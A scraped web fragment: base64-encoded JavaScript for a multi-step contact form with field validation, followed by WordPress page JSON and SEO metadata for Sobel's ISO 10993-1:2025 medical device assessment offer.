YWwgPSBzdGVwcy5sZW5ndGg7CgogIGZ1bmN0aW9uIHNob3cobil7CiAgICBjdXJyZW50ID0gTWF0aC5tYXgoMSwgTWF0aC5taW4odG90YWwsIG4pKTsKICAgIHN0ZXBzLmZvckVhY2goZnVuY3Rpb24ocyl7IHMuY2xhc3NMaXN0LnRvZ2dsZSgnYWN0aXZlJywgK3MuZGF0YXNldC5zdGVwID09PSBjdXJyZW50KTsgfSk7CiAgICBiYXIuc3R5bGUud2lkdGggPSAoY3VycmVudC90b3RhbCoxMDApICsgJyUnOwogICAgbGFiZWwudGV4dENvbnRlbnQgPSAnU3RlcCAnICsgY3VycmVudCArICcgb2YgJyArIHRvdGFsOwogICAgaWYgKGN1cnJlbnQgPT09IHRvdGFsKSB7CiAgICAgIHZhciBmaXJzdCA9IGZvcm0ucXVlcnlTZWxlY3RvcignW2RhdGEtc3RlcD0iNCJdIGlucHV0Jyk7CiAgICAgIGlmIChmaXJzdCAmJiB3aW5kb3cubWF0Y2hNZWRpYSgnKG1pbi13aWR0aDo5ODBweCknKS5tYXRjaGVzKSBmaXJzdC5mb2N1cygpOwogICAgfQogIH0KCiAgLy8gcXVhbGlmaWVyIGNob2ljZXM6IHN0b3JlICsgYXV0by1hZHZhbmNlCiAgZm9ybS5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKGUpewogICAgdmFyIGMgPSBlLnRhcmdldC5jbG9zZXN0KCcuY2hvaWNlJyk7CiAgICBpZiAoYykgewogICAgICB2YXIgZmllbGQgPSBjLmRhdGFzZXQuZmllbGQ7CiAgICAgIGZvcm0ucXVlcnlTZWxlY3RvckFsbCgnLmNob2ljZVtkYXRhLWZpZWxkPSInK2ZpZWxkKyciXScpLmZvckVhY2goZnVuY3Rpb24oeCl7IHguY2xhc3NMaXN0LnJlbW92ZSgnc2VsZWN0ZWQnKTsgfSk7CiAgICAgIGMuY2xhc3NMaXN0LmFkZCgnc2VsZWN0ZWQnKTsKICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2gtJyArIGZpZWxkKS52YWx1ZSA9IGMuZGF0YXNldC52YWx1ZTsKICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpeyBzaG93KGN1cnJlbnQgKyAxKTsgfSwgMTgwKTsKICAgIH0KICAgIHZhciBiYWNrID0gZS50YXJnZXQuY2xvc2VzdCgnW2RhdGEtYmFja10nKTsKICAgIGlmIChiYWNrKSBzaG93KGN1cnJlbnQgLSAxKTsKICB9KTsKCiAgLy8gdmFsaWRhdGlvbiBoZWxwZXJzCiAgZnVuY3Rpb24gc2V0RXJyKGZpZWxkRWwsIG9uKXsgZmllbGRFbC5jbGFzc0xpc3QudG9nZ2xlKCdlcnJvcicsIG9uKTsgfQogIGZ1bmN0aW9uIHZhbGlkRW1haWwodil7IHJldHVybiAvXlteXHNAXStAW15cc0BdK1wuW15cc0BdezIsfSQvLnRlc3Qodik7IH0KCiAgZm9ybS5hZGRFdmVudExpc3RlbmVyKCdzdWJtaXQnLCBmdW5jdGlvbihlKXsKICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgIHZhciBvayA9IHRydWU7CiAgICB2YXIgbmFtZUYgPSBmb3JtLnF1ZXJ5U2VsZWN0b3IoJ1tkYXRhLW5hbWU9Im5hbWUiXScpOwogICAgdmFyIGVtYWlsRiA9IGZvcm0ucXVlcnlTZWxlY3RvcignW2RhdGEtbmFtZT0iZW1haWwiXScpOwogICAgdmFyIHBob25lRiA9IGZvcm0ucXVlcnlTZWxlY3RvcignW2RhdGEtbmFtZT0icGhvbmUiXScpOwogICAgdmFyIGNvbXBhbnlGID0gZm9ybS5xdWVyeVNlbGVjdG9yKCdbZGF0YS1uYW1lPSJjb21wYW55Il0nKTsKICAgIHZhciBjb25zZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2YtY29uc2VudCcpOwogICAgdmFyIGNvbnNlbnRSb3cgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29uc2VudC1yb3cnKTsKCiAgICBpZiAoIW5hbWVGLnF1ZXJ5U2VsZWN0b3IoJ2lucHV0JykudmFsdWUudHJpbSgpKSB7IHNldEVycihuYW1lRiwgdHJ1ZSk7IG9rID0gZmFsc2U7IH0gZWxzZSBzZXRFcnIobmFtZUYsIGZhbHNlKTsKICAgIGlmICghdmFsaWRFbWFpbChlbWFpbEYucXVlcnlTZWxlY3RvcignaW5wdXQnKS52YWx1ZS50cmltKCkpKSB7IHNldEVycihlbWFpbEYsIHRydWUpOyBvayA9IGZhbHNlOyB9IGVsc2Ugc2V0RXJyKGVtYWlsRiwgZmFsc2UpOwogICAgaWYgKCFwaG9uZUYucXVlcnlTZWxlY3RvcignaW5wdXQnKS52YWx1ZS50cmltKCkpIHsgc2V0RXJyKHBob25lRiwgdHJ1ZSk7IG9rID0gZmFsc2U7IH0gZWxzZSBzZXRFcnIocGhvbmVGLCBmYWxzZSk7CiAgICBpZiAoIWNvbXBhbnlGLnF1ZXJ5U2VsZWN0b3IoJ2lucHV0JykudmFsdWUudHJpbSgpKSB7IHNldEVycihjb21wYW55RiwgdHJ1ZSk7IG9rID0gZmFsc2U7IH0gZWxzZSBzZXRFcnIoY29tcGFueUYsIGZhbHNlKTsKICAgIGlmICghY29uc2VudC5jaGVja2VkKSB7IGNvbnNlbnRSb3cuY2xhc3NMaXN0LmFkZCgnZXJyb3InKTsgb2sgPSBmYWxzZTsgfSBlbHNlIGNvbnNlbnRSb3cuY2xhc3NMaXN0LnJlbW92ZSgnZ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The ISO 10993-1:2025 update can affect how your biological evaluation, materials information, exposure rationale and testing strategy are documented for medical device submissions. Sobel helps [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"elementor_canvas","meta":{"_angie_page":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"class_list":["post-46041","page","type-page","status-publish","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.8 (Yoast SEO v28.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Bewertung der Aktualisierung der Norm ISO 10993-1:2025 f\u00fcr Medizinprodukte - Sobel<\/title>\n<meta name=\"robots\" content=\"noindex, follow\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bewertung der Aktualisierung der Norm ISO 10993-1:2025 f\u00fcr Medizinprodukte\" \/>\n<meta property=\"og:description\" content=\"ISO 10993-1:2025 \u00b7 Biological Evaluation \u00b7 Medical Devices Request an assessmentAssessment Medical Devices \u2022 ISO 10993-1:2025 Update \u2022 Biological Evaluation Is your ISO 10993-1 strategy ready for the 2025 update? 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